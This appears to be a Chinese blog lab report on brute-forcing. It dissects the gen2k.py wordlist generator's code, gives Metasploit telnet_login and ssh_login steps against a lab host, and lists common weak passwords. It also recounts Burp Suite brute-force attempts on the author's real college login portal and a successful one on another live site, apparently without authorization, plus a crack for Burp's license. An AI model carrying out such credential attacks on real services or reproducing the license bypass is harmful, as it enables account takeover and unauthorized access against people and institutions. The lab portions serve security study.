1.telnetjava
2.SSHpython
3.字典生成器gen2k.py代碼分析git
1、Metasploit批量驗證爆破telnet安全
2、Metasploit對目標主機SSH爆破服務器
Telnet協議是TCP/IP協議族中的一員,是Internet遠程登錄服務的標準協議和主要方式。它爲用戶提供了在本地計算機上完成遠程主機工做的能力。在終端使用者的電腦上使用telnet程序,用它鏈接到服務器。終端使用者能夠在telnet程序中輸入命令,這些命令會在服務器上運行,就像直接在服務器的控制檯上輸入同樣。能夠在本地就能控制服務器。要開始一個telnet會話,必須輸入用戶名和密碼來登陸服務器。Telnet是經常使用的遠程控制Web服務器的方法。網絡
使用Telnet協議進行遠程登陸時須要知足如下條件:在本地計算機上必須裝有包含Telnet協議的客戶程序;必須知道遠程主機的Ip地址或域名;必須知道登陸標識與口令。app
Telnet遠程登陸服務分爲如下4個過程:ssh
SSH 爲 Secure Shell 的縮寫,由 IETF 的網絡小組(Network Working Group)所制定;SSH 爲創建在應用層基礎上的安全協議。SSH 是目前較可靠,專爲遠程登陸會話和其餘網絡服務提供安全性的協議。利用 SSH 協議能夠有效防止遠程管理過程當中的信息泄露問題。SSH最初是UNIX系統上的一個程序,後來又迅速擴展到其餘操做平臺。SSH在正確使用時可彌補網絡中的漏洞。SSH客戶端適用於多種平臺。幾乎全部UNIX平臺—包括HP-UX、Linux、AIX、Solaris、Digital UNIX、Irix,以及其餘平臺,均可運行SSH。函數
SSH 主要由三部分組成:工具
提供了服務器認證,保密性及完整性。此外它有時還提供壓縮功能。 SSH-TRANS 一般運行在TCP/IP鏈接上,也可能用於其它可靠數據流上。 SSH-TRANS 提供了強力的加密技術、密碼主機認證及完整性保護。該協議中的認證基於主機,而且該協議不執行用戶認證。更高層的用戶認證協議能夠設計爲在此協議之上。
用於向服務器提供客戶端用戶鑑別功能。它運行在傳輸層協議 SSH-TRANS 上面。當SSH-USERAUTH 開始後,它從低層協議那裏接收會話標識符(從第一次密鑰交換中的交換哈希H )。會話標識符惟一標識此會話而且適用於標記以證實私鑰的全部權。 SSH-USERAUTH 也須要知道低層協議是否提供保密性保護。
將多個加密隧道分紅邏輯通道。它運行在用戶認證協議上。它提供了交互式登陸話路、遠程命令執行、轉發 TCP/IP 鏈接和轉發 X11 鏈接。
首先分析其參數
USAGE: ./gen2k.py -w <wordlist> -o <output> [options] [ -c ] Enable word combination among the words in wordlist.
鏈接wordlist裏面words。
[ -d ] Custom comma separated values to combine with wordlist.
定製逗號分隔值用來鏈接wordlist
[ -e ] Enable wpa/wpa2 fitness check for generated passwords. [ -h ] Prints this help. [ -n ] Enable frequently used number combination with wordlist.
使用常用的數字來鏈接wordlist
[ -o ] Output filename. [ -w ] Path to word list file. Wordlist must contain info related to Target. [ -y ] Enable year combination with wordlist.
添加年份
[ -z ] Enable conversion of words to upper & lower case letters.
若使用參數-c
if exist('-c'): temp = gen_word_combo(master_list) data = list(set(temp+data)) def gen_word_combo(words=[]): """ Function to mix multiple words from given list. """ word_list = [] if len(words) <= 1: return word_list for word in words: for second_word in words: if word != second_word: word_list.append(second_word+word) return word_list
能夠看見這個函數的功能是word拼接word。
若使用參數-d
if exist('-d'): try: custom_values = find('-d').split(',') except (AttributeError): print '[!] Are you kidding me with no values?' sys.exit(1) temp = gen_custom(master_list, custom_values) data = list(set(temp+data)) def gen_custom(words=[], data=[]): """ Funtion to combine user defined input with wordlist. """ word_list = [] if (len(words) <= 0 or len(data) <= 0): return word_list for item in data: for word in words: word_list.append(item+word) word_list.append(word+item) return word_list
當關鍵詞之間有「,」,則按照「,」分開以後再鏈接。
若使用參數-e
if exist('-e'): data = wpa_validation_check(data) write_file(find('-o'), data) print '[*] Total words generated: %d' % (len(data)) sys.exit(0) def wpa_validation_check(words=[]): """ Function to optimise wordlist for wpa cracking Removes Duplicates. Removes passwords < 8 or > 63 characters in length. """ custom_list = list(set(words)) custom_list = [x for x in custom_list if not (len(x) < 8 or len(x) > 63)] return custom_list
把每一個words按照一個一個單詞分開以計算單詞量。
若使用參數 -n
if exist('-n'): temp = gen_numbers(master_list) data = list(set(temp+data)) def gen_numbers(words=[]): """ Function to mix words with commonly used numbers patterns. """ word_list = [] if len(words) <= 0: return word_list num_list = ['0', '01', '012', '0123', '01234', '012345', '0123456', '01234567', '012345678', '0123456789', '1', '12', '123', '1234','12345', '123456','1234567','12345678','123456789', '1234567890', '9876543210', '987654321', '87654321', '7654321', '654321', '54321', '4321', '321', '21'] for word in words: for num in num_list: word_list.append((word+num)) word_list.append((num+word)) return word_list
將word和num表裏面的num拼接,這裏咱們能夠修改num表的數字爲用戶的生日或者學號。
若使用參數 -y
temp = gen_year(master_list) data = list(set(temp+data)) def gen_year(words=[]): """ Function to mix auto generated year with words from wordlist. Hint: Date of birth & special dates are often combined with certain words to form passwords. """ word_list = [] if len(words) <= 0: return word_list # Double digit dates start = 1 while(start <= 99): for word in words: word_list.append(word + str("%02d") % (start)) word_list.append(str("%02d") % start + word) start += 1
這裏是拼接末兩位
# Four digit dates start = 1900 while (start <= 2020): for word in words: word_list.append(word+str(start)) word_list.append(str(start)+word) start += 1
這裏拼接四位年份。
return word_list
若使用參數 -e
if exist('-e'):
data = wpa_validation_check(data)
def wpa_validation_check(words=[]): """ Function to optimise wordlist for wpa cracking Removes Duplicates. Removes passwords < 8 or > 63 characters in length. """ custom_list = list(set(words)) custom_list = [x for x in custom_list if not (len(x) < 8 or len(x) > 63)] return custom_list
這裏是按照長度檢查,把最後wordlist裏面長度小於8或者大於63的words去掉。這裏咱們能夠按照咱們所須要的長度修改。
1) 使用枚舉的方法破解telnet登錄密碼。
利用Metasploit暴破目標主機telnet服務。
這裏使用的是實驗bar所提供的kali虛擬機進行的這次實驗
使用gen2k工具生成密碼錶。單擊桌面空白處,右鍵菜單選擇「在終端中打開」。
在終端中輸入命令「cd /home」,進入軟件目錄,在終端中輸入命令「more user.txt」,查看已收集到的關鍵詞文件「user.txt」,利用此文件生成對應的密碼。
3.在終端中輸入命令「python gen2k.py -n -y -z -e -c -w user.txt -o passwd.txt」,生成密碼文件passwd.txt,在終端下輸入命令「more passwd.txt」,查看生成的內容。
在終端中輸入命令「nmap –sV 192.168.1.3」,掃描目標主機,發現目標主機開啓telnet服務。
在終端中輸入命令「use auxiliary/scanner/telnet/telnet_login」,啓用漏洞利用模塊, 提示符就會提示進入到該路徑下。
在終端中輸入命令「set RHOSTS 192.168.1.3」,設置目標主機的IP地址。
在終端中輸入命令「set PASS_FILE /home/passwd.txt」,爆破時使用的密碼文件爲passwd.txt。
在終端中輸入「telnet 192.168.1.3 」,輸入獲取的帳號root和密碼Simplexue123,鏈接成功。
輸入「nmap –sV -O 192.168.1.3」,對目標主機進行端口掃描,發現開放22端口。
在msfconsole中輸入命令「search ssh_login」,搜索ssh_login的相關工具和攻擊載荷。
在終端中輸入命令「use auxiliary/scanner/ssh/ssh_login」,啓用漏洞利用模塊, 提示符就會提示進入到該路徑下。
在終端中輸入命令「show options」,查看須要設置的相關項,「yes」表示必須填寫的參數。
在終端中輸入命令「set RHOSTs 192.168.1.3」,設置目標主機的IP地址。
在終端中輸入「set USERNAME root」,指定登錄用戶名root。
在終端中輸入「set PASS_FILE /home/passwd.txt」,設置暴力破解的密碼文件路徑。
在終端中輸入「set THREADS 50」,設置暴力破解的線程數爲50。
在終端中輸入「run」, 開始向目標主機爆破ssh的登錄賬號和密碼,登錄賬號爲root,密碼爲Simplexue123。
輸入「ssh
rootz@192.168.1
.3」,鏈接目標主機,而後能夠看見網卡信息。
實驗bar的虛擬機真的太tm的慢並且卡了,我之後不再用了...
暴力破解有一個很好用的軟件是burpsuite,這個軟件功能很是強大,可是最近要輸入lisence才能使用。咱們這些平民百姓只能另找出路才行。。
解決方法以下:在同一目錄下創建一個.bat文件,內容爲
java -jar BurpLoader.jar
,同時修改系統時間爲2016年12月3日前才能使用。
接下來回到正題,咱們使用burpsuite暴力破解咱們學院的教務管理系統,首先進入教務管理系統,任意輸入東西。而後使用burpsuite截取包信息。
接下來咱們嘗試使用爆破,send to intruder
後,咱們在輸入密碼的地方設置爆破點。
接下來設置爆破的payload
,首先利用字典生成器生成payload,以我本人的帳號密碼進行嘗試。因爲我知道本身的生日,因此就不須要設置年份進行逐年猜想。
選擇payload以後咱們進行爆破,爆破完成後查看返回包的長度,假如包的長度與別的包不同的話就說明這裏可能爆破成功了!
仔細對比這幾個包發現最後結果都是登陸不成功,緣由均是驗證碼不正確。後來發如今不使用其餘軟件狀況下burpsuite沒法爆破帶驗證碼的登陸,由於驗證碼會實時更新,每一個包的驗證碼都不同。
網上搜索了相關的信息後發現可使用PKAV HTTP Fuzzer配合burpsuite進行對有驗證碼的登陸進行爆破。
首先使用burpsuite抓包,而後將包內容複製到PKAV HTTP Fuzzer裏面,添加爆破標記和驗證碼標記。
接下來咱們就對驗證碼進行識別....
.....
沒想到學校的驗證碼這麼難識別,首先中文就難以識別了,並且還要選擇紅字,我必定是失了智纔去爆破學校的登陸網站,下載一個次世代驗證碼識別,生成識別庫還要錢。。。
放棄了放棄了,開始我還鄙視學校的登陸網站,我仍是菜啊,此次換一個驗證碼簡單的來爆破吧...
此次嘗試對某網的登陸頁面進行爆破
發現有一個是明顯和其餘的不同,用這個看成密碼嘗試登陸發現是成功的
這個是沒有驗證碼的網站,不太具備表明性。
接下來嘗試一下攻擊一個有驗證碼
咱們仍是任意輸入,用burpsuite抓包,
在帳號固定爲郵箱的狀況下,在密碼處設置爆破點。此次針對驗證碼,咱們發現這個好像與學院的登陸有點不同,咱們對圖片右鍵複製其地址:
http://passport.shiyanbar.com/captcha/b567608c162ac48ab71aa9d019fc84e6.png
發現其後綴是一個.png的圖片格式,說明只要這個地址不變,每次爆破的包驗證碼都是同樣的。
而學院的驗證碼的地址是:
http://dzjw.besti.edu.cn/(xqopn4jvbuixlu55l2arf045)/CheckCode.aspx
後綴是.aspx的動態頁面格式,不管圖片是否同樣,而地址都同樣。說明每次執行爆破的包驗證碼都不同。
這樣的話,咱們只要事先輸入輸入驗證碼的值再執行爆破就好了。。
發現有個payload返回包的長度不一樣,嘗試一下果真正確了。
由上述幾個實驗咱們知道暴力破解的關鍵是生成破解字典的種子。那麼咱們針對中國人經常使用密碼,咱們該採用怎麼樣的字典呢?
咱們以一個學生爲例,一個電科院的學生擁有的信息有:姓名、性別、出生年月日、手機號、班級、學號、郵箱、身份證號。那麼咱們設置的種子就將這些信息放進去而後利用字典生成器生成就能夠了。
假如以我本身爲例,設置種子以下
看似不是不少,嘗試一下生產字典看看有多少:
才933,也不是不少啊。
我總結了國內用戶的密碼主要來源於如下方面:
姓名的漢語拼音變體
好比xiaoming(小明)、xiaohong(小紅)、liming(李明)等,因爲國內兩字姓名的廣泛性,尤爲是王、李、張這些大姓的存在,使得這種建立密碼的方法存在很大的重合機率,風險很大。好比在百度上搜索「李明」,有1740萬個結果。用生日和手機號看成密碼。
咱們常常看到相似1985080四、13560898這樣的密碼。因爲現有的郵箱和SNS網站,一般限定密碼最低爲8位,因此那些位數相近的數字組合,如生日、固定電話號碼、手機號前8位等成爲人們經常使用的密碼。
默認的密碼
在研究用戶使用密碼行爲的時候,至少有75%以上的用戶不會主動改變默認的密碼,好比當申請ADSL密碼重置、手機密碼重置以後,不少人選擇把系統給的密碼記在小本上,而不是本身去設定一個熟悉的,這也致使像admin、root、administrator這樣的系統默認密碼被普遍應用。
弱密碼
國內最大的網絡安全廠商360安全中心也發佈了中國網民最經常使用的25個「弱密碼」。其中,除password、abc12三、iloveyou、qwerty等全球網民通用「弱密碼」外,其他均爲數字組合。而簡單的數字組合,彷佛更是中國網民最愛,佔了榜單近半數。好比「666666」和「888888」這樣的吉利數,幾乎是全部中國黑客密碼字典中的必備項,而「5201314」(我愛你一輩子一世)顯然被國人寄予了濃厚的感情色彩,爲中國特點「弱密碼」。據統計,網民經常使用的「弱密碼」主要包括簡單數字組合、順序字符組合、臨近字符組合以及特殊含義組合等四大類別。而從中國版「弱密碼」榜單來看,國內網民更習慣設置6位字符密碼,TOP25中竟有18個是6位字符,所佔比例高達72%。此外,「a1b2c3」和「p@ssword」這類組合型密碼看似複雜,其實也在黑客重點關注的密碼列表中。南方日報記者戴遠程這些統計的數據是國內的一些安全廠商的專家數據的研究得出來的結論國內網民經常使用的25個「弱密碼」包括:000000、1111十一、111111十一、11223三、12312三、12332一、12345六、1234567八、65432一、66666六、88888八、abcdef、abcabc、abc12三、a1b2c三、aaa1十一、123qwe、qwerty、qweasd、admin、password、p@ssword、passwd、iloveyou、5201314。
爲了咱們的帳號安全,你還在使用這些弱口令嗎?不得不說上面的數據都是挺精準的,並且咱們的密碼比較多的仍是最後面的那一個5201314了,目測也有不少人會使用一些英文帶上5201314,也有帶上本身名字的縮寫加上5211314
總的來講,爲了咱們的帳號密碼安全,儘可能設置複雜一些的密碼吧,另外,咱們也要作好其它的防禦措施,作好手機的綁定,密保的設置,還有不用一些非法的軟件,當心識別釣魚網站